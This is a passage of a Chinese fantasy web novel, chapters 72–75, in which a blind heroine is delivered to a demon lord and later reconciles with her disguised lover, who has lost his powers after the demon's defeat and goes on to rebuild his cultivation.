而一得到自由,程鸢马上冲到了后院。 她双手叉腰,对两侧厢房大喊: “新娘姐姐,我来找你们玩了!” “昨天你们打牌了没有?谁赢啦?” 一瞬安静后,两侧接连响起“吱吖”的动静,紧闭的厢房不是悄悄打开了一扇窗,便是门开了一条缝隙。 她们在暗处窥视站在大太阳底下的程鸢。 【……她竟然还能活蹦乱跳?右护法没对她做什么?】 【不公平,这不公平……右护法应该把她的腿直接折断,把她锁在房间里的才对。】 【凭什么只有她是特别的……】 【她笑起来的样子好讨厌,比阳光都让人讨厌……】 程鸢假装不知道她们恶毒想法,见她们像老鼠一样躲藏在阴暗的角落里,便笑眯眯地把她们一个接着一个从厢房里拽了出来晒太阳。 “姐姐们我们今天是打牌呢?还是踢毽子呢?” “今日有风,不如我们做风筝来放,好不好?” …… 那日程鸢得偿所愿。 最心灵手巧的新娘姐姐给她糊了个老鹰的风筝,因为在后院里放不起来,所以所有的新娘姐姐全部出马,带着几个风筝去了后山。 期间也遇到了魔都的魔修,没想到的是新娘姐姐们的武力值居然超强,转眼就把魔修给干趴下了,变成了新的人皮风筝。 只是后来有点不顺。 程鸢毕竟眼瞎,虽然感知还行,但跑的时候还是不小心被木头绊倒了。 她这么一摔直接把所有新娘姐姐吓得花容失色,最后是声音温柔的新娘姐姐背着她回去的。 趴在新娘姐姐背上的时候,程鸢觉得做个死人好像也不赖,背着个活人走那么久,气都不喘一下。 受伤的事情理所当然被关骓野发现了,他一边恨得牙痒痒地骂她,一边把她按在床上抹药。 隔天一破阵,程鸢又跑到后院去了。 “新娘姐姐们,我们今天是打牌还是投壶?” “……” “昨天前天大前天都在玩,今天不如来做点正事?正好我昨夜想起了个通用的心诀,你们鬼修也能修的。” “……” 不止是程鸢,好像关骓野和新娘姐姐们都渐渐习惯了。 前者已经彻底放弃,随便她到处跑。 后者更是习惯成自然,每天太阳一出来就自动自觉蹲在门口晒太阳等程鸢。 日子一天天地过去。 不知不觉中,那一天突然就到来了。 程鸢还没有觉察,新娘姐姐们先一步预知到了风雨将至。 等关骓野伪装的右护法离开之后,她们偷偷扣响了门,出现在了程鸢面前。 对她说: “语笑妹妹,你逃吧。” “姐妹们会帮你的。” 72 第72章 ◎代嫁替身想被攻略的第三十六天◎ 卧房的门被关上后的不久又被重新推开,程鸢本以为是关骓野漏了东西没带,所以又倒回来走一趟。 因此当耳边出现的不是关骓野,而是新娘姐姐的温柔声音,她确实一时没反应过来。 见她愣着不吭声,着急的反倒是对方。 拽了拽程鸢的衣袖,她们示意她赶紧走。 “快走,魔尊晋升在即,现在就是缺一根仙骨,等右护法接获命令就会马上带你去见魔尊了,到时候想走都走不了了!” 明明是火急火燎的时候,程鸢半点不急,甚至动都不动弹一下,还扬了扬眉,倒过去问她们: “你们为什么要帮我?” 新娘姐姐们被她问得反应不过来:“你接触我们,不就是为了想要我们……帮你逃跑吗?” 程鸢“噗嗤”一声笑了。 “怎么会?我当然是想跟你们在一起,所以才去找你们的啊。” 这么一句话出来之后,所有人都彻彻底底愣住了。 她们呆若木鸡,程鸢反倒还出声宽慰起她们来。 “别怕。” “我十年前便知道有今日,早就做好心理准备了。” 她这么一说,其中一个有点暴力的新娘姐姐顿时就醒了,她瞬间面目狰狞,直接一巴掌扇到了程鸢的后脑勺上,疼得她哎哟惨叫一声。 “心理准备……你能有什么心理准备?!” “人的骨头是长在身体里的,那仙骨则和人的魂魄密不可分,要是生生抽出来……” 即便她没有把话说完,但回想起那日,所有新娘姐姐的身体都都忍不住颤抖了一下。 “别废话了,让你走就赶紧走,难得我们姐妹大发善心,过了这村就没这店了!” 可别说走了,程鸢甚至还忍不住哈哈大笑了起来。 关骓野习惯了她这自由豪放的笑声,新娘姐姐们则是第一次听。 耳边一响起她那放肆到有点张狂的笑声,被吓得赶紧捂住了她的嘴,生怕她把右护法给招来。 “傻子……你笑什么?!” 程鸢:“我没想到你们会这么帮我,我一直以为你们很想我留下来跟你们作伴呢。” “……” 全场沉默。 程鸢看不到,可在场的新娘姐姐的脸上或多或少出现了尴尬之色。 说心里话,她们确实从一开始便期盼着她和她们落得同样下场的那天。 哪怕到了现在,虽然说要帮她逃跑,可总会觉得心里不平衡,忍不住去想自己当初受苦受难,为什么就没有人伸以援手。 但是…… 算了。 能跑一个是一个吧。 要是魔尊大怒,跑到修真界去当搅屎棍,也算是替她们报仇了吧。 “……别废话了!让你走就赶快走!” “我不走。” “你到底是为了谁才这么死脑筋……!” 结果只听程鸢又大笑起来,那笑声之中带着股不顾他人死活的快活。 正当新娘姐姐忍不住对视一眼,懒得跟傻孩子对话,打算直接把她打包带走的时候,却见程鸢站了起来。 她分明看不见她们,眼中是一片混沌,却又奇怪地可从中窥见白日天光之下的朗朗清明。 “当然不是为了谁,只是我做事向来从心。” “感谢诸位新娘姐姐舍身相救,但我不会逃跑的。” 她向她们弯腰作揖,感恩她们的善心。 重新挺直腰背时,又有种竹子般的百折不挠,声色中尽是豪放的诗意。 “我本名程鸢。” “是云程万里的程,鸢飞鱼跃的*鸢。” “若日后能在这逍遥世间再相见,还望诸位姐姐不要装不认识我才好。” 鬼新娘们被她这一番话说得一愣一愣的,只见程鸢忽然探高脑袋,向着她们的后方加大了音量地问道: “是不是到时候了?” “右护法大人?” 当她们本能地四散躲开,不知道何时在门外的右护法出现在她们视野时…… 程鸢笑笑:“那我们便走吧。” …… 程鸢不知道他们详细的计划是怎样。 但关骓野既然没有提前把她送走,那肯定是她有用处才对。 而今夜,程鸢果然发现自己的妙用。 魔尊只有在闭关时候才是最弱,可没人知道他在何处闭关,只有她这根仙骨被点名送菜时,修真界才能找到机会。 光有这个机会还不够。 关骓野似乎是从系统那里兑换了什么奖励,用以克制魔尊,才最终说服叶宗主联合修真界各大门派高手,在这时候群起而攻之。 今夜无风。 程鸢耳中却处处喧嚣。 她看不到,可她感知到四处埋伏了远道而来的修真界高手,就等着她这块敲门砖敲开魔尊闭关处的大门,一拥而上。 这一路上程鸢都没有说话,对于关骓野来说,这样的她确实有点不寻常了。 他不禁放慢了些许步伐,侧首看了她一眼。 当见她眸光一反常态的幽深,以为纵是她也不由在此刻体虚胆寒,终于首次破了右护法的人设,安慰了她句: “你不要怕,你会没事的。” 然而却是他会错了意,下一秒他耳边马上响起了她的回应,虚无缥缈得像是天上的云,有种不受控制的自由豁达。 “我不怕,生死本来就是人间常事。” 关骓野默了默。 终究忍不住道:“……你是没有在意的人敢才这么说。你想一想,要是你在意的人眼睁睁死在你跟前,难道你还能这么……” 他没有把话说完,只失望地摇了摇头。 “算了,你大概也想象不出来的了。” 他一直都知道,程鸢的那颗心向来不在意任何人、任何事。 可这时,当突然只剩下他一个人的脚步声,他回过神后,发现程鸢不知怎么落到了他的身后。 她直挺挺站在那里的时候,宛如一颗随风飞扬的蒲公英种子终于在某个地方停了下来,要扎根发芽了。 “怎么不走了?” “我不想去了。” 关骓野愣住。 这怎么突然就…… 恍恍惚惚之际,他看到她没有焦距的目光顺着他声音响起的方向找了过来。 “我按照你说的想象了一下……” 她似乎是看着他…… 才说出之后的那句话的。 “我现在好像有点怕了。” 73 第73章 ◎代嫁替身想被攻略的第三十七天◎ 程鸢从没有见过像关骓野这样的胆小鬼。 话题分明是他挑起的,可真到了关键关头,他却连半个字都不敢追问。 她都已经想好了。 只要他问,问一句她在意的人是谁,究竟是在想起谁死在跟前时,才终于会感到害怕,她绝对会诚实地回答他。 可他没有问。 于是一直欲脱口而出的“关骓野”,直到最后都没有能说出口。 …… 当顺着关骓野的描述,在脑海中想象了一下有人死在她的跟前,那个人的脸自动就变成了他的脸。 而看到是他的那一瞬间……程鸢确实觉得怕了。 也是在这个时候,她猛然间意识到:她可能确实喜欢上了关骓野。 察觉到这个事实,又好像不是很意外。 虽然是渣男,但关骓野的那张脸的确一直长在她的审美上。 更遑论如今他放弃了攻略、抛弃了系统,为她来到这么个鬼地方,为了她要力战魔尊……即使是她这种人,到这种时候,说不心动自然是不可能的。 所以她对他说不想去了,其实是真的不想去了。 关骓野素来喜欢自欺欺人,真遇到了能完美欺骗自己的千载难逢的机会,他又不那么做了。 恐怕他自己也在怕…… 要是一那么想,他就会立刻带着她逃跑。 但如今箭在弦上,已是不得不发了。 …… 程鸢无幸亲眼见证那一场恶战。 一找到魔尊的闭关之地后,她马上被关骓野丢给了不知道从哪个角落冒出来的周意宁。 修真界来的高手大半去与魔尊鏖战,剩下的则留下来对付魔都的魔修。 她和周意宁是被留下的。 程鸢猫在地上,如果说她是乖巧听话的羊咩咩,那周意宁就是贴身保护的护羊犬。 她耳听八方,时不时指出几个想要以离奇方式突袭的魔修,但更多时候是听人在心里说那边山岗战火连天。 说各路神器法宝的光照亮了近半边天。 慨叹今夜会有多少修士命陨他乡。 程鸢向来看得很开,一直说生死是人间常事,或迟或早人都是会死的。 可也许是被关骓野那句话所点醒,此时此刻,她一反常态地改变了。 她不想他死。 就算死亡是迟早的事情,但也不是非要死在今晚,就不能……晚一点再死吗? 那日在灵无宗上,他做好了赴死的心与她告别。 但她不是。 …… 那魔尊能狂到现在自然是有些本事。 那边山岗的战火一直燃烧到天明时方才终于有了消停的意思。 可他们这边也没人说得准—— 到底是魔尊死了,还是他们修真界的人全灭。 有人前去探查,有人在等。 程鸢是等的那一个。 她等自己人传来消息,却不曾想,等着等着……自己的后衣领居然突然被人拎了起来。 周意宁冷呵“把人放下”的时候,那人已经一把拦腰把她抗在了肩膀,有点神经质的张狂嗓音在耳边炸响: “魔尊战亡,其他新娘我也不要了,就你跟着我去流亡吧……哈哈!” 他们戏做得还挺足。 周意宁等人立刻出手,想把她救下,但假扮成右护法的关骓野溜得更快,假意交战两回合后,连人影都看不见了。 哪怕在他肩膀上被颠得肠子都快呕出来了,程鸢到底还是松了口气。 她一边在心里骂他胆小鬼不敢用真面目和她相认、只敢用右护法的人设把她强留在身边,一边想着他能扛着她一个大活人跑这么快,昨夜理应是没受什么伤的。 …… 关骓野把她带到了凡人界。 她想他大概是早有准备,一进入凡人界地界立马直奔一繁荣县城,窜进集市后七弯八拐的,不知怎么就进了个合院。 程鸢本来以为他是出于敬业、要演就演到底,所以才赶死赶急地跑这么快。 然而等落地后没出多久,突然惊觉他功力尽散,几乎和凡人无异,甚至因为受了伤还要更糟,才意识到这是背后的真正原因。 明明已经成了废人,他还生怕被她察觉,她会趁机攻击或逃跑,于是装成一副纸老虎的样子对她放狠话: “没有人知道你在哪里!他们别想来救你,你也别想逃出去!” “你生要是我的新娘,死也要是我的人……!” 听到他那快要压不住咳嗽的声音,闻到丝丝血腥味,程鸢暗叹一声。 她没有拆穿他,但接下来说出来的话对他造成的攻击效果好像也不小: “我已经一天一夜没吃东西了。” “我刚刚听到外面有人卖包子,你要一个?还是两个?” “……” 他表面沉默,心里则在拼命吐槽【都这个时候了……她居然还想着包子???她是有多爱吃包子??她昨天晚上是不是因为想着死掉就不能再吃包子,所以才说怕了,不肯再走了??】,程鸢忍不住笑了。 她在关骓野警惕的视线下从乾坤袋掏出了两枚仙丹。 一句“还是先吃了药再进食吧”过后,直接把仙丹塞进了他嘴里,逼他硬吞下去。 他反抗的动作没有多强硬,但也可能是挣扎不动了。 否则不会连拽着她、想把她留下来的力气都没有,直接就被她甩开了手。 程鸢大概能想象到他那副咬牙切齿又有心无力的样子,于是走到门边时,不禁停了一下,回首对他说道: “别死撑着了,谁不知道你重伤?你先好好休息一下,我马上回来。” 他理所当然地以为自己身份暴露了。 于是程鸢只能再补上一句: “我不跑,反正在哪里也是活,跟你在一起也无所谓。” 尽管看不到,但程鸢总觉得在这瞬间,他似乎面如死灰。 心疼当然是并不心疼的。 是他自己要继续去装那个见鬼的右护法,怪得了谁? …… 但不得不说,顶着右护法的神经病人设确实就是好发疯的。 大概是绝望的在原地等了老半天,发现她真的提着大包小袋的东西回来了,他一直仓皇不定的心才终于落了下来。 还居然敢开始冲她颐指气使、指挥她做这做那。 白天: “我现在伤这么重,怎么吃饭?你得喂我。” “你又要上哪去?你刚刚才出去过一次!需要关怀的不止是病人的身体,还有他的心灵,陪伴就是最好的治疗。” “你还是要走?!好好好……我不好过,你也别想好过!” 晚上: “不行?你现在是我娘子,我是你夫君,怎么就不行了?” “我都还没叫停,你替我担什么心?不就扯到内脏,吐了点血,这算什么?牡丹花下死,做鬼也风流……哈哈!” 被他这么胡搅蛮缠,任是程鸢过了几日也终于按捺不住了。 “……你有没有心?!你怎么好意思叫我个瞎子做这做那?!” 结果那人毫不反省,说话依然带着股高高在上的盛气凌人。 “我管你是瞎了还是怎么样,本座可是堂堂魔都的右护法,让你做点事……怎么了?” “……” 程鸢也想过到底要不要离家出走吓唬一下他。 不过……在把离家出走的计划落实之前,情势还是先一步出现了变化。 那天程鸢没注意,分了下心,不小心被门槛绊了个狗吃屎,结结实实摔了一跤,膝盖和手都磕破了。 那该死的家伙宁可维护人设,也不过来扶她起来。 程鸢跟他怄气,索性也先不起身,先在地毯上趴一会,养养神。 而等那人终于舍得挪动他尊贵的步子,趾高气扬地走过来之后,程鸢本以为迎接她的会是嘲弄奚落,却不想他只是沉着声线对她说道: “只要你说自己在意的人是我,喜欢的人是我。” “我就把恢复视觉的药给你。” “到时候你想去哪里,都随便你。” 74 第74章 ◎代嫁替身想被攻略的第三十八天◎ 程鸢跟关骓野留居在凡人界也有一个月了。 这一个月来,他时不时会想起那夜在魔都发生的事,想要知道她在那个时候究竟想起了谁,被她放在心里、在意的那个人是谁。 他的心声程鸢听得耳朵都快起茧子了。 他却一直不敢真正问出来。 程鸢想,只要他问,她就一定会说。 可是,他不问。 因为他不敢。 要是那个人不是他自己的话,得知真相之后,他就不能再自欺欺人了。 …… 这一个月,关骓野一直闭门不出,出出入入的全是程鸢。 她去凡人界的集市,去药铺,去布庄,到处走,于是听到了不少八卦消息。 魔尊终于死掉,不止修真界,凡人界也是全员鼓掌称快,富有的人家甚至大摆三百桌,宴请乡亲邻里一同欢庆。 程鸢背着关骓野去了。 一边在酒席上吃好吃的,一边听别人说八卦说得津津有味。 他们说那夜的战争那叫一个惊天动地风云色变,各路高手各显神通,魔尊与仙人鏖战了整整七天六夜才终于□□趴下,最后一人一口分而食之,用仙体镇压余孽。 程鸢:“哈哈!” 她这么一笑,同桌的人全看了过来。 也不怪她笑声打断他们,还倒过来故作神秘地问她: “此战有不少修真界的高手大露头角,但关家娘子可知道此战还有一个默默无闻的英雄?” “关家娘子”叫的就是程鸢。 她来了这里一个月,和邻居们都混了个熟,他们问起称呼,她没报真名,只说自己随夫君刚刚搬来这里,再问,她只说夫君姓关。 一来二去……所有人便“关家娘子”这么喊她。 关骓野要是跟她出一次门,恐怕什么都知道了。 谁让他就是不出门。 哼,活该。 而此时,程鸢知道他们要说伪装成右护法的关骓野了,也装作不知,只笑着摇了摇头。 “诶说来也巧,那默默无闻的大英雄也跟你夫君同个姓氏,姓关。” “却说那人是近年来在修真界的新秀,三年来修为连破数重境界,甚至登上了上九流之列,无数女仙子为他争风吃醋,打得头破血流,连那大宗门的宗主之女也倾心于他,为他寻死觅活,哭着说非他不嫁,把眼睛都给哭瞎了。” 程鸢:“……” 那人不知道程鸢沉默原因,接着摇头摆脑道: “听说修真界力战魔尊,全靠他提前去了魔都当间谍内应,又在大战当夜使出无上仙法,削弱魔尊,才得到了最终的胜利。” “可惜自那一战后……他人便失去了行踪。要是他现身,定是名利加身,别说做仙门宗主的乘龙快婿了,哪怕继承整个宗门也不是妄言。” “也不知道他现在到底在哪,说不定真凭那一战飞升了也说不定……” 闻言,程鸢一本正经地回答:“我觉得可能是他假扮魔修上了瘾,带着右护法的鬼新娘到凡人界扮家家。” 霎时间响起了一片“嗐”声,众人全部笑了下,听过便忘了。 酒席散场,程鸢好心地给“宗主将来的乘龙快婿”“说不定已经飞升了”的大英雄打包了鸡鸭鱼肉。 一路回去的时候,便一路在想要怎么破局。 关骓野一直假扮右护法的身份,不肯跟她相认,虽然有时候觉得还挺有趣的,但也不能一直这样。 可能就是因为心思太多,所以才没有注意到门槛,摔了个狠的。 程鸢刚开始还在埋怨关骓野宁可维护人设也不来扶他,打定主意要离家出走,可等他过来,说出那番话,她才意识到…… 她这么一摔,自己倒是没怎么样,结果把他给摔破防了。 “只要你说自己在意的人是我,喜欢的人是我。” “我就把恢复视觉的药给你。” “到时候你想去哪里,都随便你。” 听关骓野这么说的时候,程鸢只是不禁想到这人自欺欺人的功力真是一如既往的稳定。 大概是从来没有想过她会永远陪着他,所以才像是将死之人,在弥留之际抓紧时间和机会,与她只争朝夕。 离家出走的念头忽然被打消了。 程鸢坐起身,扬起脑袋问他:“我要是不说呢?” 若是按照右护法人设,他接下来本该是要猖狂大笑几声,说“那东西你就别想要了!”,要是她还犟嘴,就直接把药踩成粉,让她见鬼去。 可他终究不是右护法。 他是因为她摔了一跤,便直接被破防的关骓野。 沉默半晌,他在她身前蹲下,把一颗丹药、一枚木牌放在她手心。 “吃了吧,吃了就能好了。” “这是逍遥楼的令牌,我对他们有恩,只要你带着木牌过去,他们便会将你视作恩人对待。” “逍遥楼虽然比不上灵无宗,是个不起眼的小宗门,但那里的人都还不错,位置距离凡人界也近,你要是闷了,随时可以去凡人界玩。” 话落,他站起身,似乎不敢再看她,于是背过身去,负手而立。 他说: “你走吧。” 程鸢一口闷了丹药,一边在心里骂了他声胆小鬼。 …… 好大儿系统说话办事都不可靠,但出品的道具倒是挺靠谱的。 一觉过后,程鸢能看见了。 昨夜她和关骓野终于分了房睡,而睡醒第一件事,她就是去找他。 她踹开门之后,看见床铺整整齐齐,动都没动,显然那人是从昨晚开始就在窗边打坐了一夜。 这时听到门边传来巨响,于是转首望来。 而看到关骓野的样子,程鸢不禁缄口无言,脚下也是一顿。 他解除了变幻术的伪装,露出了本来的面貌。 程鸢知道他向来最擅长装柔弱可怜,可过去全部加起来,都不及他此刻身上的脆弱感来得强烈。 在清晨曦光隔了层宣纸的映照下,他整个人好像变得有点虚幻透明了。 走近,功力尽失,体内灵力稀薄,魔尊的邪气在经脉中横冲直撞,果真应验了系统的那句话,成了连剑都提不起的来废人。 但所幸……他不用剑。 关骓野似乎也同样感到庆幸,见她的眼睛里终于重新有了焦距,笔直地朝自己走来,他露出欣慰微笑,看着她说: “你能看见了。” “幸亏它第二次没有骗我。” 程鸢听懂了。 当初她眼睛刚瞎那会,关骓野曾经要求用奖励去换能医治她眼睛的药,系统那会说没得换,确实是在骗他,只是不愿他前功尽弃。 结果到头来……他还是把他一路做任务攒下来的奖励,一半兑换了削弱魔尊的道具,一半则换了给她治眼睛的药。 落到他自己,不但什么都没得到,还一身是伤。 程鸢抿着唇没说话。 见她还留在这里,那人轻笑一声,淡淡看了她一眼,声音里有点像是期待又像在赶人的复杂: “你还不走?” 程鸢假笑:“走,就走了,这不是要收拾一下东西吗?” 于是他那颗因希望而悬起的心,又重新落了地。 …… 程鸢不着急走。 她每天就收拾一点点的行李,而收拾好的行李放在了前厅的最当眼处,一点一点地攒,务求能被关骓野看见。 正因此,当初她出嫁魔都时没能看到的……关骓野破大防的景象,这段日子全都看了个一清二楚、心满意足。 他不但破防,他还会自己骗自己。 【她真的说走就走,看来她对我确实是没有什么感情的。】 【不、不对……她一直拖着不走,不就是说其实也放不下我吗?】 【她当真看不出我有多心痛?】 【恐怕她自己也很难受,一直纠结着究竟要不要离开我。】 然而,到了今日,他终于没法再自欺欺人下去了。 因为她终于收拾好了最后一件行李,接着拍拍手,毫无留恋地对他说: “收拾好了,我今日便要走了。” 程鸢听到他恩了一声,接着就没下文了,只直愣愣地看着她,那竟是半点挽留的意思都没有。 虽然也猜到他大概是这种反应,程鸢仍不禁扬眉拔高了声调质问: “那你就一直呆在这里了?” 关骓野本来要点头回应,可这回他还没来及恩声,衣领便被揪住,他以为她是被气得想要揍他,结果再一晃神,却发现是程鸢在他怀里抢了些什么东西走。 他脸色一变。 果然—— 程鸢:“抱着这么根断掉的玉簪日夜思念我?” 他顿时脸色铁青。 “程鸢,把它给我。” 可她不以为意,抛玩着两节断玉,像是随时会失手把玉摔碎。 “干嘛?这不是你送我的东西吗?我拿我自己的东西也不行?” 关骓野强压下心头慌张,看着她一字一句地说:“既然你丢掉了,那就是不要了,再被我捡到,那就是我的了。” 程鸢“嘁”了声,还是决定做一次人,把东西还给了他。 而他接过时,她真的听到他松了口气。 ……敢情她人好像还没有这破玉簪重要。 程鸢:“说真的,你真打算在凡人界呆一辈子了?” 他果然又恩了一声。 程鸢皱眉。 “你不想跟我一起回去吗?” “虽然你的修为确实全部消失了,但也不是没有再修仙的机会。我这些年来攒了很多好东西,一定可以帮你重新开始的。” 这次关骓野没有恩声,但他闭上了眼,依旧是否定的答案。 “你自己回修真界便好,我……就不去了。” 其实程鸢也知道他为什么不肯回去。 周意宁的心高气傲是在表面,关骓野的则是在骨子里。 他接受不了被人看轻贬低,尤其现在的他是人人口中的英雄,于是更不能忍受从云端掉到泥泞之间的落差。 他不想沦落为他人口中的笑柄,于是宁可隐藏在凡人界,半生腐朽,徒留美名在他人口中,也不愿意回到修真界,和她一起重新开始。 程鸢自嘲地笑了笑。 “看到你舍命救我,我还真以为自己对你来说有多重要。现在好不容易有机会了,我不再是叶语笑,你也不用再做那些见鬼的攻略任务……你却不想和我在一起了。” “算了,你不想回就别回了。” 她开始把收拾出来的腊味鱼干,一件一件往乾坤袋里装。 “要是以后我记起你了,就偶尔来看你一次。” 程鸢余光瞥见他的脸上好像渐渐有了迟疑,于是露出真诚笑容,向他请罪: “但凡人寿命最长不过区区百年,可能我忙着修炼想不起你,到时候如果直到你死我都没回来过一次……你别怪我。” 说到这里,程鸢的东西已经全部收拾好了。 她干脆起身的样子似乎真不打算再劝他了。 走到关骓野的面前,程鸢拿出两枚丹药给他,一副告别的样子对他笑道: “如果不是你的话,鬼新娘大概是我最后的下场了。虽然好像那样也挺有趣……但还是谢谢你救了我。” “这两枚丹药是叶宗主给的,对凡人来说可起死回生,大概也能治一治你现在的伤。” “欠你的这一条命,我就当还给你了。” 她把丹药塞到他手心的同时,另一边也在说: “感情的事情我就不赔给你什么了,终究是你骗我在先,所以要是日后我喜欢上了别人,你在凡人界听到我和别人结契的消息,也请你不要怨我。” 说完,程鸢最后冲他笑了笑,接着转身抬腿走向门边的姿态是那样干净利落、毫无犹豫。 那就好像……她这一去,真的直到他死,都不会再回来了。 于是到了最后一刻,关骓野终究忍不住出声了。 他说: “……别走。” 站在门边的人由于他的挽留回首。 可她仅仅是回了头而已。 外面春光明媚,当照到她脸上身上时,那俨然将要登上九天之上的飞鹰。 “关骓野,我不可能为你停留在这里。” 她看到他因为她的话而愣了愣,又闭了下眼,攥紧双手。 当重新睁眼,她与天光映入他眼帘之际,他终于问出了那个她等了很久的问题。 “那天晚上……你想到的人,究竟是不是我?” 见他满脸的犹疑不确信,明明是严肃紧张的时刻,程鸢却“噗嗤”一声笑了。 “总不能真是包子吧?” 她很认真地告诉他:“其实我真的没有那么喜欢吃包子,只是在灵无宗那会山下的包子真的特别好吃,所以才总是去吃的。” 他拆台的时候真是丝毫不顾忌情面:“……我刚刚看到你往乾坤袋里塞了好几个大肉包。” “……” 程鸢默了默,最终选择冷静地避开了锋芒,突然点了点头,回到了正题: “是你。” “其实仔细想想,虽然我有时候会骗你,还特别喜欢看你破防、自欺欺人的样子,但我应该是真心喜欢你的。” 对关骓野而言,这么一句话就够了。 “……我跟你走。” 见做了这么久胆小鬼的家伙终于鼓起勇气向自己走了过来,程鸢在原地等他的同时,也不禁挑了下眉。 “你真想好了?” “如果有人说你坏话,我能扇三个两个一群人的巴掌,但也捂不住悠悠众口的。” 要是换了其他任何一个人,这话关骓野都得打个半折听,但如果是程鸢……他好像真的能想象出她不管不顾地冲上去扇人巴掌的样子。 于是忍不住哈哈笑了。 当不是假装,而是第一次像程鸢那样发出不顾他人死活的笑声,关骓野也终于感受到了几分她的快意和洒脱。 迎着她无语的目光,他不再迟疑,坦荡荡地站在了她的身边,眼中的笑一如初遇时候的温柔又深情,像是跌进了春光绿水里。 “恩,我想好了。” 他说: “程鸢,我们重新开始吧。” 75 第75章 ◎代嫁替身想被攻略的最后一天◎ 直到后来飞升,程鸢也依然忘不了关骓野重回修真界时的窘迫模样。 他嘴巴上说是想好了,做好准备了,要鼓起勇气跟她一起回去重新开始。 可等回到修真界之后,他转头就吃了易颜丹,不但改头换面,连名字要换一个新的。 程鸢:“所以……你现在叫什么名字?” 当时的关骓野很严肃地想了下,然后很认真地询问她的意见: “伍爱鸢……怎么样?” 程鸢那会默了默,然后果断回了句:“还是不要了吧。” 接着同样严肃道:“要是我们分手了,到时候真的很难收场。” “……” 关骓野改脸改名的计划最终还是胎死腹中了。 他们刚上逍遥楼,还没说半句话,他已经被人认了出来。 “哎呀呀,这不是关恩公吗?!” “怎么才数月不见,人突然丑了这么多啊?是吃了什么好东西吃坏脸了吗?” 关骓野:“……” 然后那人又侧首望向她,瞪大眼睛一个劲儿地打量她,还围着转这么来打量,明明程鸢该觉得冒犯,但可能因为对方毫无恶意,于是只感到有趣。 “这位是……?” “欸……怎么有点眼熟?” “哎哟,可不就是我那素未谋面的道侣吗?!” “亲亲你可终于现身了,我母胎单身等了你这么多年,可总算能见到你了。” 关骓野脸色铁青地挤出一句话: “……她是我道侣。” 对方猛然惊醒,接着连连道歉,然后说自己认错了人。 最后有点惋惜又有点哀愁地伤感道:“啊……原来我这一辈子走的是孤老终生的剧本啊……” 和逍遥楼弟子的初见面,程鸢就觉得她绝对能跟他们相处得很好。 事实证明:这是对的。 整个逍遥楼的人和她的身上,都充斥着一种不顾他人死活的快乐精神。 程鸢去到逍遥楼,就像直接回了家,属于血融于水,狼狈为奸,不需要任何过渡适应期,直接完美融合。 关骓野一个正常人在他们其中……只能说深受其害,人不是正在崩溃、自我怀疑,便是在即将崩溃、自我怀疑的路上。 在逍遥楼的那五年…… 是程鸢最快活、最不做人的五年,也是关骓野最痛苦、最被折磨得不像人的五年。 五年后之所以要离开,不是说呆不下去了,而是不得不离开。 关骓野重启修仙的计划并不乐观。 就算他再怎么刻苦努力,有些事情也不是刻苦努力便能做到的。 好大儿系统给的道具是杠杠好用,对关骓野下手也是不留情面。 不但剥夺了他靠攻略挣来的修为,连本来的修为也全部掏了个空。和魔尊缠斗时被他邪气魔息所伤,没有底子防身后直接伤及根基。 逍遥楼是个小宗门,没有大能镇场子……倒不如说那些厉害的家伙全都早早地飞升了,不像修真界中好几个老不死,就是强压着修为,在修真界建功立业、关照子孙后代,总之,就算逍遥楼掏出全部家底,也确实帮不了他太多。 于是程鸢想到了附近的慧心道人。 慧心道人是叶语笑的师伯,当初叶语笑十八岁时,特地托大师给她打了把好剑,还山长水远地亲自送了过来。 虽然程鸢不是叶语笑,但如果是那位师伯的话……也许他们有点机会。 她收拾好了东西准备启程,然而关骓野却不肯去。 他没说原因,只摇头,程鸢也知道这人是死要面子,不肯跟着她去求人,也不敢迈出逍遥楼的这一亩三分地。 她向来随心,很体贴人,素来不愿勉强他什么。 他死撑着说再试试,不肯去,她便随便他了。 于是程鸢把收拾好的东西又一件一件拿出来,没去看关骓野,不过语气倒很是大度真诚: “没关系,反正你现在也算入了道门,也能活个几百,总比凡人几十岁的寿命要好太多。” “要是我们的感情稳定,没有变化,也还能快乐个几百年。” “等改日你死掉投胎,我飞升成仙,大家都能去找第二春,省着总要对着同一张脸,那看着多闷啊。” “你也不必伤感,到时候奈何桥边一碗酒,什么情情爱爱生离死别……还有我这个人,你就全都不记得了。” 这几句话下来,关骓野当场就拽着她去找了慧心道人。 程鸢:“我可没有勉强你。” 对方咬牙切齿:“是,是我舍不得你,不想忘记你。就你厉害,能转过头便去找第二春。我不行,一想到等我死了你去跟别人快活便气得要死。” 看到对方那恨不得把她抽筋扒皮的眼神,程鸢“噗嗤”一声笑了。 如此他们便离开了逍遥楼,去找了慧心道人。 因是有求于人,见到慧心道人之后,程鸢马上把过去的真相全部交代了个清楚,说自己不是叶语笑,连叶宗主的私生女都算不上,这些年骗了她的疼爱对不起她。 程鸢不是个固执的人。 要换了是她自己沦落到关骓野这种境地,要是慧心道人不肯,她也就作揖走了。 可如今因为那人是关骓野,所以她才做好了打长期战、纠缠到底的准备。 然而不知道为什么,慧心道人听过真相后也不生气,反而更喜欢她了。 连着爱屋及乌,就说要把她那可怜的美弱惨道侣收为徒弟。 关骓野修道这么多年,虽然进过宗门,却从来没有个正经的师傅,如今终于得偿所愿了。 行拜师礼那日,程鸢也替他开心。 也不知道是不是拜师礼那日走漏了风声,关骓野没被人认出来,反倒是程鸢被人认出,修真界一时传闻四起。 周意宁循着风声找了过来。 程鸢没想到他会这么快找来,于是整个人都有点措手不及的愕然。 “……你怎么来了?” “来找你。” 她脸色更加古怪:“找我干嘛?” “把它给你。” 见周意宁*抛了块什么东西过来,程鸢当即伸手,而甫一接住…… 【鸢鸢你不要再抛下我了……呜呜呜呜呜我不要再当没妈的孩子,不是,是没主人的剑了呜呜呜呜呜……鸢鸢你都不知道我这些年吃了多少苦,受了多少气,我真的好可怜哒……】 低眼看着当初慧心道人送给叶语笑的这把剑,程鸢人更懵了。 “……它怎么变成灵剑了?” 有灵识是灵剑的标配。 周意宁的灵剑自然也有灵识,只不过跟他人一样没什么话,这么久程鸢只听过它吱了一声。 真的是【吱】了一声。 那会是程鸢听说灵剑会说话,所以才蹲在灵剑跟前,冲它问道: “你真的会说话?你要是会,能不能跟我吱一声?” 然后就…… 灵剑荒烟:【吱。】 周意宁也不太清楚个中原因。 想了想,只说:“可能是被气的。” 程鸢:“……?” 迎着她缺乏智慧的目光,周意宁轻咳几声,之后解释:“萧晓掌控不住它还整天抱着不肯撒手,气狠了就又打又骂,它天天在哭。” 又忍不住补充一句:“荒烟被它烦得不行,这些年来话也变多了。” 于是程鸢的视线落到周意宁的剑上,正颜厉色道:“辛苦你了。” 